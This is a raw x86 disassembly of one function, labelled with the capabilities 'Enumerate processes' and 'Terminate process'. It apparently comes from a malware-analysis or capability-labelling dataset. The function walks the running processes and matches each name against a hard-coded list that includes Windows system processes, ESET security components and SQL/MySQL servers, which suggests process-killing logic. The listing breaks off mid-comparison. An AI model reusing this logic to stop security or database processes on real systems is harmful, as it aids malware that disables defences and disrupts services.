Function at 0x10009be0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100128d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2b4
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x2c0], 0x22c
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x54], esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x74], 0x64
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x74]
call fcn.100017f0
cmp byte [0x10019496], 0
je 0x10009c76
sub esp, 0x18
xorps xmm0, xmm0
mov eax, esp
mov ecx, 1
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100088a0
add esp, 0x18
mov byte [0x10019496], 0
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x6c]
call fcn.10003170
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 7
mov eax, dword [ebp - 0x5c]
cmova ecx, dword [ebp - 0x6c]
seta byte [ebp - 0xd]
cmp byte [ebp - 0xd], 0
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x6c]
cmovne ecx, dword [ebp - 0x6c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.100034a0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
seta al
cmova edx, ecx
mov byte [ebp - 0xd], al
mov dword [ebp - 0x14], ecx
cmp edi, 9
jne 0x10009d3c
mov esi, edi
mov ecx, str.csrss.exe
sub esi, 4
jb 0x10009cf6
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x10009cfb
add edx, 4
add ecx, 4
sub esi, 4
jae 0x10009ce5
cmp esi, 0xfffffffc
je 0x10009d2f
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x10009d28
cmp esi, 0xfffffffd
je 0x10009d2f
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x10009d28
cmp esi, 0xfffffffe
je 0x10009d2f
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x10009d28
cmp esi, 0xffffffff
je 0x10009d2f
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x10009d2f
sbb eax, eax
or eax, 1
jmp 0x10009d31
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
test al, al
cmovne ecx, edx
cmp edi, 8
jne 0x10009db2
mov esi, edi
mov edx, str.ekrn.exe
sub esi, 4
jb 0x10009d69
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009d6e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009d58
cmp esi, 0xfffffffc
je 0x10009da2
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009d9b
cmp esi, 0xfffffffd
je 0x10009da2
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009d9b
cmp esi, 0xfffffffe
je 0x10009da2
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009d9b
cmp esi, 0xffffffff
je 0x10009da2
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009da2
sbb eax, eax
or eax, 1
jmp 0x10009da4
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 9
jne 0x10009e2a
mov esi, edi
mov edx, str.lsass.exe
sub esi, 4
jb 0x10009de1
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009de6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009dd0
cmp esi, 0xfffffffc
je 0x10009e1a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009e13
cmp esi, 0xfffffffd
je 0x10009e1a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009e13
cmp esi, 0xfffffffe
je 0x10009e1a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009e13
cmp esi, 0xffffffff
je 0x10009e1a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009e1a
sbb eax, eax
or eax, 1
jmp 0x10009e1c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x10009e9d
mov esi, edi
mov edx, str.services.exe
sub esi, 4
jb 0x10009e54
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009e59
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009e43
cmp esi, 0xfffffffc
je 0x10009e8d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009e86
cmp esi, 0xfffffffd
je 0x10009e8d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009e86
cmp esi, 0xfffffffe
je 0x10009e8d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009e86
cmp esi, 0xffffffff
je 0x10009e8d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009e8d
sbb eax, eax
or eax, 1
jmp 0x10009e8f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 8
jne 0x10009f10
mov esi, edi
mov edx, str.smss.exe
sub esi, 4
jb 0x10009ec7
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009ecc
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009eb6
cmp esi, 0xfffffffc
je 0x10009f00
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009ef9
cmp esi, 0xfffffffd
je 0x10009f00
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009ef9
cmp esi, 0xfffffffe
je 0x10009f00
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009ef9
cmp esi, 0xffffffff
je 0x10009f00
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009f00
sbb eax, eax
or eax, 1
jmp 0x10009f02
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 9
jne 0x10009f8a
mov esi, edi
mov edx, str.httpd.exe
sub esi, 4
jb 0x10009f41
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009f46
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009f30
cmp esi, 0xfffffffc
je 0x10009f7a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009f73
cmp esi, 0xfffffffd
je 0x10009f7a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009f73
cmp esi, 0xfffffffe
je 0x10009f7a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009f73
cmp esi, 0xffffffff
je 0x10009f7a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009f7a
sbb eax, eax
or eax, 1
jmp 0x10009f7c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xa
jne 0x10009ffd
mov esi, edi
mov edx, str.msedge.exe
sub esi, 4
jb 0x10009fb4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10009fb9
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10009fa3
cmp esi, 0xfffffffc
je 0x10009fed
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10009fe6
cmp esi, 0xfffffffd
je 0x10009fed
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10009fe6
cmp esi, 0xfffffffe
je 0x10009fed
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10009fe6
cmp esi, 0xffffffff
je 0x10009fed
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x10009fed
sbb eax, eax
or eax, 1
jmp 0x10009fef
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0x16
jne 0x1000a070
mov esi, edi
mov edx, str.SearchProtocolHost.exe
sub esi, 4
jb 0x1000a027
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a02c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a016
cmp esi, 0xfffffffc
je 0x1000a060
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a059
cmp esi, 0xfffffffd
je 0x1000a060
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a059
cmp esi, 0xfffffffe
je 0x1000a060
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a059
cmp esi, 0xffffffff
je 0x1000a060
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a060
sbb eax, eax
or eax, 1
jmp 0x1000a062
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xd
jne 0x1000a0ea
mov esi, edi
mov edx, str.UI0Detect.exe
sub esi, 4
jb 0x1000a0a1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a0a6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a090
cmp esi, 0xfffffffc
je 0x1000a0da
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a0d3
cmp esi, 0xfffffffd
je 0x1000a0da
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a0d3
cmp esi, 0xfffffffe
je 0x1000a0da
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a0d3
cmp esi, 0xffffffff
je 0x1000a0da
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a0da
sbb eax, eax
or eax, 1
jmp 0x1000a0dc
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000a15d
mov esi, edi
mov edx, str.wininit.exe
sub esi, 4
jb 0x1000a114
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a119
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a103
cmp esi, 0xfffffffc
je 0x1000a14d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a146
cmp esi, 0xfffffffd
je 0x1000a14d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a146
cmp esi, 0xfffffffe
je 0x1000a14d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a146
cmp esi, 0xffffffff
je 0x1000a14d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a14d
sbb eax, eax
or eax, 1
jmp 0x1000a14f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 7
jne 0x1000a1d0
mov esi, edi
mov edx, str.lsm.exe
sub esi, 4
jb 0x1000a187
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a18c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a176
cmp esi, 0xfffffffc
je 0x1000a1c0
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a1b9
cmp esi, 0xfffffffd
je 0x1000a1c0
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a1b9
cmp esi, 0xfffffffe
je 0x1000a1c0
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a1b9
cmp esi, 0xffffffff
je 0x1000a1c0
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a1c0
sbb eax, eax
or eax, 1
jmp 0x1000a1c2
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000a24a
mov esi, edi
mov edx, str.spoolsv.exe
sub esi, 4
jb 0x1000a201
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a206
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a1f0
cmp esi, 0xfffffffc
je 0x1000a23a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a233
cmp esi, 0xfffffffd
je 0x1000a23a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a233
cmp esi, 0xfffffffe
je 0x1000a23a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a233
cmp esi, 0xffffffff
je 0x1000a23a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a23a
sbb eax, eax
or eax, 1
jmp 0x1000a23c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0x10
jne 0x1000a2bd
mov esi, edi
mov edx, str.IpOverUsbSvc.exe
sub esi, 4
jb 0x1000a274
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a279
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a263
cmp esi, 0xfffffffc
je 0x1000a2ad
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a2a6
cmp esi, 0xfffffffd
je 0x1000a2ad
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a2a6
cmp esi, 0xfffffffe
je 0x1000a2ad
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a2a6
cmp esi, 0xffffffff
je 0x1000a2ad
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a2ad
sbb eax, eax
or eax, 1
jmp 0x1000a2af
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x1000a330
mov esi, edi
mov edx, str.sqlservr.exe
sub esi, 4
jb 0x1000a2e7
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a2ec
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a2d6
cmp esi, 0xfffffffc
je 0x1000a320
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a319
cmp esi, 0xfffffffd
je 0x1000a320
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a319
cmp esi, 0xfffffffe
je 0x1000a320
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a319
cmp esi, 0xffffffff
je 0x1000a320
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a320
sbb eax, eax
or eax, 1
jmp 0x1000a322
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xa
jne 0x1000a3aa
mov esi, edi
mov edx, str.mysqld.exe
sub esi, 4
jb 0x1000a361
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a366
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a350
cmp esi, 0xfffffffc
je 0x1000a39a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a393
cmp esi, 0xfffffffd
je 0x1000a39a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a393
cmp esi, 0xfffffffe
je 0x1000a39a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a393
cmp esi, 0xffffffff
je 0x1000a39a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a39a
sbb eax, eax
or eax, 1
jmp 0x1000a39c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xd
jne 0x1000a41d
mov esi, edi
mov edx, str.sqlwriter.exe
sub esi, 4
jb 0x1000a3d4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a3d9
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a3c3
cmp esi, 0xfffffffc
je 0x1000a40d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a406
cmp esi, 0xfffffffd
je 0x1000a40d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a406
cmp esi, 0xfffffffe
je 0x1000a40d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a406
cmp esi, 0xffffffff
je 0x1000a40d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a40d
sbb eax, eax
or eax, 1
jmp 0x1000a40f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000a490
mov esi, edi
mov edx, str.jusched.exe
sub esi, 4
jb 0x1000a447
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a44c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a436
cmp esi, 0xfffffffc
je 0x1000a480
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a479
cmp esi, 0xfffffffd
je 0x1000a480
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a479
cmp esi, 0xfffffffe
je 0x1000a480
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a479
cmp esi, 0xffffffff
je 0x1000a480
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a480
sbb eax, eax
or eax, 1
jmp 0x1000a482
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 9
jne 0x1000a50a
mov esi, edi
mov edx, str.IDMan.exe
sub esi, 4
jb 0x1000a4c1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a4c6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a4b0
cmp esi, 0xfffffffc
je 0x1000a4fa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a4f3
cmp esi, 0xfffffffd
je 0x1000a4fa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a4f3
cmp esi, 0xfffffffe
je 0x1000a4fa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a4f3
cmp esi, 0xffffffff
je 0x1000a4fa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a4fa
sbb eax, eax
or eax, 1
jmp 0x1000a4fc
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0x11
jne 0x1000a57d
mov esi, edi
mov edx, str.SearchIndexer.exe
sub esi, 4
jb 0x1000a534
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a539
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a523
cmp esi, 0xfffffffc
je 0x1000a56d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a566
cmp esi, 0xfffffffd
je 0x1000a56d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a566
cmp esi, 0xfffffffe
je 0x1000a56d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a566
cmp esi, 0xffffffff
je 0x1000a56d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a56d
sbb eax, eax
or eax, 1
jmp 0x1000a56f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xd
jne 0x1000a5f0
mov esi, edi
mov edx, str.IEMonitor.exe
sub esi, 4
jb 0x1000a5a7
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a5ac
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a596
cmp esi, 0xfffffffc
je 0x1000a5e0
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a5d9
cmp esi, 0xfffffffd
je 0x1000a5e0
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a5d9
cmp esi, 0xfffffffe
je 0x1000a5e0
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a5d9
cmp esi, 0xffffffff
je 0x1000a5e0
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a5e0
sbb eax, eax
or eax, 1
jmp 0x1000a5e2
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x1000a66a
mov esi, edi
mov edx, str.wmpnetwk.exe
sub esi, 4
jb 0x1000a621
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a626
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a610
cmp esi, 0xfffffffc
je 0x1000a65a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a653
cmp esi, 0xfffffffd
je 0x1000a65a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a653
cmp esi, 0xfffffffe
je 0x1000a65a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a653
cmp esi, 0xffffffff
je 0x1000a65a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a65a
sbb eax, eax
or eax, 1
jmp 0x1000a65c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xa
jne 0x1000a6dd
mov esi, edi
mov edx, str.devenv.exe
sub esi, 4
jb 0x1000a694
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a699
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a683
cmp esi, 0xfffffffc
je 0x1000a6cd
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a6c6
cmp esi, 0xfffffffd
je 0x1000a6cd
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a6c6
cmp esi, 0xfffffffe
je 0x1000a6cd
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a6c6
cmp esi, 0xffffffff
je 0x1000a6cd
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a6cd
sbb eax, eax
or eax, 1
jmp 0x1000a6cf
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x1000a750
mov esi, edi
mov edx, str.WUDFHost.exe
sub esi, 4
jb 0x1000a707
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a70c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a6f6
cmp esi, 0xfffffffc
je 0x1000a740
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a739
cmp esi, 0xfffffffd
je 0x1000a740
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a739
cmp esi, 0xfffffffe
je 0x1000a740
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a739
cmp esi, 0xffffffff
je 0x1000a740
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a740
sbb eax, eax
or eax, 1
jmp 0x1000a742
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000a7ca
mov esi, edi
mov edx, str.MSBuild.exe
sub esi, 4
jb 0x1000a781
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a786
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a770
cmp esi, 0xfffffffc
je 0x1000a7ba
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a7b3
cmp esi, 0xfffffffd
je 0x1000a7ba
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a7b3
cmp esi, 0xfffffffe
je 0x1000a7ba
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a7b3
cmp esi, 0xffffffff
je 0x1000a7ba
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a7ba
sbb eax, eax
or eax, 1
jmp 0x1000a7bc
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000a83d
mov esi, edi
mov edx, str.conhost.exe
sub esi, 4
jb 0x1000a7f4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a7f9
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a7e3
cmp esi, 0xfffffffc
je 0x1000a82d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a826
cmp esi, 0xfffffffd
je 0x1000a82d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a826
cmp esi, 0xfffffffe
je 0x1000a82d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a826
cmp esi, 0xffffffff
je 0x1000a82d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a82d
sbb eax, eax
or eax, 1
jmp 0x1000a82f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x1000a8b0
mov esi, edi
mov edx, str.mspdbsrv.exe
sub esi, 4
jb 0x1000a867
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a86c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a856
cmp esi, 0xfffffffc
je 0x1000a8a0
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a899
cmp esi, 0xfffffffd
je 0x1000a8a0
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a899
cmp esi, 0xfffffffe
je 0x1000a8a0
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a899
cmp esi, 0xffffffff
je 0x1000a8a0
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a8a0
sbb eax, eax
or eax, 1
jmp 0x1000a8a2
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xc
jne 0x1000a92a
mov esi, edi
mov edx, str.vcpkgsrv.exe
sub esi, 4
jb 0x1000a8e1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a8e6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a8d0
cmp esi, 0xfffffffc
je 0x1000a91a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a913
cmp esi, 0xfffffffd
je 0x1000a91a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a913
cmp esi, 0xfffffffe
je 0x1000a91a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a913
cmp esi, 0xffffffff
je 0x1000a91a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a91a
sbb eax, eax
or eax, 1
jmp 0x1000a91c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xd
jne 0x1000a99d
mov esi, edi
mov edx, str.eguiProxy.exe
sub esi, 4
jb 0x1000a954
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a959
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a943
cmp esi, 0xfffffffc
je 0x1000a98d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a986
cmp esi, 0xfffffffd
